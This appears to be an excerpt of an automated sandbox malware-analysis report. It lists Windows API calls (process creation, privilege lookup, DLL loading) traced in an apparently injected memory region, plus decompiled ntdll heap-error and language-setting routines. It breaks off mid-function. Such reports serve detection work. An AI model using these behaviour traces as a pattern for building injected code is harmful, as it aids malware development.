RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,02893AF8), ref: 028AA09D

Strings

.z`, xrefs: 028AA08C, 028AA098

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 5b3bc2d76803f2a138bd51672ba3335989ed16d4ccae76e2a3443224e6778351
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: A4E04FB52002086BD718DF59CC44EA777ADEF88750F018554FD1857241C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 028982F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0289834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0289836B

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: d1886dacaede67b8a1b47cd7f891b191bb7a411f268118560ec236757dbbaa52
Instruction ID: 6bdba46c24401757227dce4c030cbed392163f5bbc3b4d3ac3da9624673e2b3e
Opcode Fuzzy Hash: d1886dacaede67b8a1b47cd7f891b191bb7a411f268118560ec236757dbbaa52
Instruction Fuzzy Hash: 6001A739A802287BFB20A6989C42FBE776C6B41B55F084115FF04FA1C0EAD4690646F6

Uniqueness

Uniqueness Score: -1.00%

Function 0289ACD0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0289AD42

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: f499d95e103afa6eb5eeb6ecd43249f882670591de5c0560953de5f2ad778a0c
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: 5D015EBDE0020DBBEF14DBA8DC41F9DB3B99B04308F044195A908D7240FA30EB14CB92

Uniqueness

Uniqueness Score: -1.00%

Function 028AA0DE, Relevance: 1.5, APIs: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 028AA134

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 841b37a1d15f47bed87837623c2dff4b57ab37e420ee8e8fb02e0d2159560829
Instruction ID: 125442ec6086a53aaa417c3ed43ddf44e873a4e85f174c308551854656904569
Opcode Fuzzy Hash: 841b37a1d15f47bed87837623c2dff4b57ab37e420ee8e8fb02e0d2159560829
Instruction Fuzzy Hash: 220192B6200108ABCB54CF99DC90EEB77A9AF8C754F158258BA0DE7251C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 028AA0E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 028AA134

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 86b13b7a8f14fdb6ccee915cfabd6a9a37e27b8f004443b1f2ebcbbe465923d6
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 3E01AFB6210108ABCB58DF89DC80EEB77ADAF8C754F158258BA0DA7240C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 028AA241, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0289F1A2,0289F1A2,?,00000000,?,?), ref: 028AA200

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: bbc0302fce18166d6c211f8d51024d216f3fab59fd3d4246740f2e298f5ee8a5
Instruction ID: a0cb025043afc8ad5ec2764dd2ceb54dc909bdecc3b7f54172fb590e40e821f6
Opcode Fuzzy Hash: bbc0302fce18166d6c211f8d51024d216f3fab59fd3d4246740f2e298f5ee8a5
Instruction Fuzzy Hash: FBE0927A2502087BE714EB98DC48DEAB7ADEFC4270F05C456F91D87A02D671E910C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 0289F6D1, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,02898CF4,?), ref: 0289F6CB

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: c390dd077c64928212fd79b5be58ae75336d2b71e08dcd952f5f552d6f93b283
Instruction ID: 6bb6e67b8038e6fc32ed28ef437cb02ba9fd03d2a72fb99616fa2eba0f100fee
Opcode Fuzzy Hash: c390dd077c64928212fd79b5be58ae75336d2b71e08dcd952f5f552d6f93b283
Instruction Fuzzy Hash: 68E068BD6503042BEF1BA9748C22B66368547B7701F0D0461F788D76F3EA90F0018175

Uniqueness

Uniqueness Score: -1.00%

Function 028AA1C1, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0289F1A2,0289F1A2,?,00000000,?,?), ref: 028AA200

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 5089947e498e59412f451e2ba59195d36b36b08fbbdcf6fa4a95abc1fe96e67d
Instruction ID: ee2830b0b9b9c78ad8c255988dbc82bf5fbedf3a6484b53010e08d6673016c81
Opcode Fuzzy Hash: 5089947e498e59412f451e2ba59195d36b36b08fbbdcf6fa4a95abc1fe96e67d
Instruction Fuzzy Hash: 21F0A075600204AFDB14DF69CCD1EEB7769EF89710F148158FD49A7242DA31A912CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0289F697, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,02898CF4,?), ref: 0289F6CB

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 96cbd8bb775e3861d11a4d457be8b620056fd8dfafe2ecde46b77aed93a513a2
Instruction ID: 3ea1c34748a02f2712584277314bd6038d8fb3dc57428d56186dc0a9fab5d6ab
Opcode Fuzzy Hash: 96cbd8bb775e3861d11a4d457be8b620056fd8dfafe2ecde46b77aed93a513a2
Instruction Fuzzy Hash: 35E02C7E78030826EE18AAA89C22F2233889774A05F0800A8FB8DE23D3E991F0124065

Uniqueness

Uniqueness Score: -1.00%

Function 028AA030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(028A4506,?,028A4C7F,028A4C7F,?,028A4506,?,?,?,?,?,00000000,00000000,?), ref: 028AA05D

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: af22088e09bfb58b0f4346fc5df0e516da6dbb9a4890696adca4ff5852ddf0df
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: EBE01AB5200208ABD714DF59CC40EA777ADEF88650F158558BA185B241C530F910CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 028AA1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0289F1A2,0289F1A2,?,00000000,?,?), ref: 028AA200

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 3ba284db54c9c3f5ee9faa5018be6ef101a49fc4c04c840865c88fa08cea68e4
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: E2E01AB52002086BDB14DF49CC84EE737ADEF88650F018154BA0867241C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0289F6A0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,02898CF4,?), ref: 0289F6CB

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction ID: 7ad16eb605116d9bfc89f8c132200347d9ce5a693f89d9f74e6e8a7b35b8ca8d
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: 1CD05E796903043AEA10AAA89C02F2632895B54A14F490064FA48D62C3EA50E0004565

Uniqueness

Uniqueness Score: -1.00%

Function 02D6967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D69694

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 855f8b9179d5bf58b68c7def933f70c4561f4ff4599d96d130ae318cf312a81d
Instruction ID: 65f748604ba1b26fdc6f743eb69aaf4b85c53decd19aea3d13e8a132e8eeb280
Opcode Fuzzy Hash: 855f8b9179d5bf58b68c7def933f70c4561f4ff4599d96d130ae318cf312a81d
Instruction Fuzzy Hash: A4B092B29025C5CAEA11E7A04B0CB2B7A01BBD4741F26C066E20206A1A877CC8D1F6B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02DDB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 02DDB38F
This failed because of error %Ix., xrefs: 02DDB446
*** enter .cxr %p for the context, xrefs: 02DDB50D
The resource is owned exclusively by thread %p, xrefs: 02DDB374
a NULL pointer, xrefs: 02DDB4E0
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 02DDB39B
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 02DDB53F
The critical section is owned by thread %p., xrefs: 02DDB3B9
*** An Access Violation occurred in %ws:%s, xrefs: 02DDB48F
The instruction at %p tried to %s , xrefs: 02DDB4B6
write to, xrefs: 02DDB4A6
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 02DDB323
The resource is owned shared by %d threads, xrefs: 02DDB37E
<unknown>, xrefs: 02DDB27E, 02DDB2D1, 02DDB350, 02DDB399, 02DDB417, 02DDB48E
*** Inpage error in %ws:%s, xrefs: 02DDB418
Go determine why that thread has not released the critical section., xrefs: 02DDB3C5
*** Resource timeout (%p) in %ws:%s, xrefs: 02DDB352
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 02DDB476
The instruction at %p referenced memory at %p., xrefs: 02DDB432
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 02DDB2DC
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 02DDB484
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 02DDB314
an invalid address, %p, xrefs: 02DDB4CF
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 02DDB47D
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 02DDB3D6
*** enter .exr %p for the exception record, xrefs: 02DDB4F1
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 02DDB305
*** A stack buffer overrun occurred in %ws:%s, xrefs: 02DDB2F3
read from, xrefs: 02DDB4AD, 02DDB4B2
*** then kb to get the faulting stack, xrefs: 02DDB51C

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: ba2b8a5ee0e1802c5b8946551ac971bd2e953e55bd5ae1e9564cff59129ca30d
Instruction ID: bf34ed63c9ede83972b55a0b707086e92f8f08131a43428f2ec418e918017ef4
Opcode Fuzzy Hash: ba2b8a5ee0e1802c5b8946551ac971bd2e953e55bd5ae1e9564cff59129ca30d
Instruction Fuzzy Hash: D3811035A00610FFEB22AE05BC45EAB3B27EF57B5DF424046F4062B712D3669D41DAB2

Uniqueness

Uniqueness Score: -1.00%

Function 02DE1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E02DE1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x2d048a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E02D2B150();
				} else {
					E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x2e1589c);
				E02D2B150("Heap error detected at %p (heap handle %p)\n",  *0x2e158a0);
				_t27 =  *0x2e15898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M02DE1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E02D2B150();
				} else {
					E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E02D2B150("Error code: %d - %s\n",  *0x2e15898);
				_t113 =  *0x2e158a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E02D2B150();
					} else {
						E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E02D2B150("Parameter1: %p\n",  *0x2e158a4);
				}
				_t115 =  *0x2e158a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E02D2B150();
					} else {
						E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E02D2B150("Parameter2: %p\n",  *0x2e158a8);
				}
				_t117 =  *0x2e158ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E02D2B150();
					} else {
						E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E02D2B150("Parameter3: %p\n",  *0x2e158ac);
				}
				_t119 =  *0x2e158b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E02D2B150();
					} else {
						E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x2e158b4);
					E02D2B150("Last known valid blocks: before - %p, after - %p\n",  *0x2e158b0);
				} else {
					_t120 =  *0x2e158b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E02D2B150();
				} else {
					E02D2B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E02D2B150("Stack trace available at %p\n", 0x2e158c0);
			}

0x02de1c10
0x02de1c16
0x02de1c1e
0x02de1c3d
0x02de1c3e
0x02de1c20
0x02de1c35
0x02de1c3a
0x02de1c44
0x02de1c55
0x02de1c5a
0x02de1c65
0x02de1c67
0x00000000
0x02de1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x02de1c67
0x02de1cdc
0x02de1ce5
0x02de1d04
0x02de1d05
0x02de1ce7
0x02de1cfc
0x02de1d01
0x02de1d0b
0x02de1d17
0x02de1d1f
0x02de1d25
0x02de1d30
0x02de1d4f
0x02de1d50
0x02de1d32
0x02de1d47
0x02de1d4c
0x02de1d61
0x02de1d67
0x02de1d68
0x02de1d6e
0x02de1d79
0x02de1d98
0x02de1d99
0x02de1d7b
0x02de1d90
0x02de1d95
0x02de1daa
0x02de1db0
0x02de1db1
0x02de1db7
0x02de1dc2
0x02de1de1
0x02de1de2
0x02de1dc4
0x02de1dd9
0x02de1dde
0x02de1df3
0x02de1df9
0x02de1dfa
0x02de1e00
0x02de1e0a
0x02de1e13
0x02de1e32
0x02de1e33
0x02de1e15
0x02de1e2a
0x02de1e2f
0x02de1e39
0x02de1e4a
0x02de1e02
0x02de1e02
0x02de1e08
0x00000000
0x00000000
0x02de1e08
0x02de1e5b
0x02de1e7a
0x02de1e7b
0x02de1e5d
0x02de1e72
0x02de1e77
0x02de1e95

Strings

heap_failure_listentry_corruption, xrefs: 02DE1CD0
heap_failure_usage_after_free, xrefs: 02DE1CBB
heap_failure_buffer_underrun, xrefs: 02DE1C9F
heap_failure_unknown, xrefs: 02DE1C75
heap_failure_entry_corruption, xrefs: 02DE1C83
heap_failure_virtual_block_corruption, xrefs: 02DE1C91
Parameter3: %p, xrefs: 02DE1DEE
heap_failure_freelists_corruption, xrefs: 02DE1CC9
heap_failure_generic, xrefs: 02DE1C7C
heap_failure_multiple_entries_corruption, xrefs: 02DE1C8A
Heap error detected at %p (heap handle %p), xrefs: 02DE1C50
heap_failure_cross_heap_operation, xrefs: 02DE1CC2
heap_failure_buffer_overrun, xrefs: 02DE1C98
heap_failure_invalid_argument, xrefs: 02DE1CAD
Error code: %d - %s, xrefs: 02DE1D12
Parameter1: %p, xrefs: 02DE1D5C
heap_failure_internal, xrefs: 02DE1C6E
heap_failure_invalid_allocation_type, xrefs: 02DE1CB4
HEAP: , xrefs: 02DE1C16, 02DE1C3D, 02DE1D04, 02DE1D4F, 02DE1D98, 02DE1DE1, 02DE1E32, 02DE1E7A
Last known valid blocks: before - %p, after - %p, xrefs: 02DE1E45
heap_failure_block_not_busy, xrefs: 02DE1CA6
Parameter2: %p, xrefs: 02DE1DA5
Stack trace available at %p, xrefs: 02DE1E86
HEAP[%wZ]: , xrefs: 02DE1C30, 02DE1CF7, 02DE1D42, 02DE1D8B, 02DE1DD4, 02DE1E25, 02DE1E6D
heap_failure_lfh_bitmap_mismatch, xrefs: 02DE1CD7

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: a8aec95b8f8e6dc4ca4590aa2c7184fadb187f1a7c9ab13cfbb01cb81c1bf4ea
Instruction ID: b934f82acc8671ef22dd49dc3d6e02b6ab95964c209b702f71141a56f2b2f772
Opcode Fuzzy Hash: a8aec95b8f8e6dc4ca4590aa2c7184fadb187f1a7c9ab13cfbb01cb81c1bf4ea
Instruction Fuzzy Hash: E4612D32B54164DFEA02BB86E485F35B3A5E714A38B89843AF80F9B711C670DC94CF19

Uniqueness

Uniqueness Score: -1.00%

Function 02D33D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E02D33D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E02D31B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E02D31B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E02D31B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E02D31B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E02D31B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L02D44620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E02D6F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E02D71370(_t276, 0x2d04e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E02D6BB40(0,  &_v68, _t170);
									if(L02D343C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E02D6BB40(_t257,  &_v68, _t243);
								if(L02D343C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E02D71370(_t278, 0x2d04e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L02D44620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E02D6F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E02D71370(_v16, 0x2d04e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
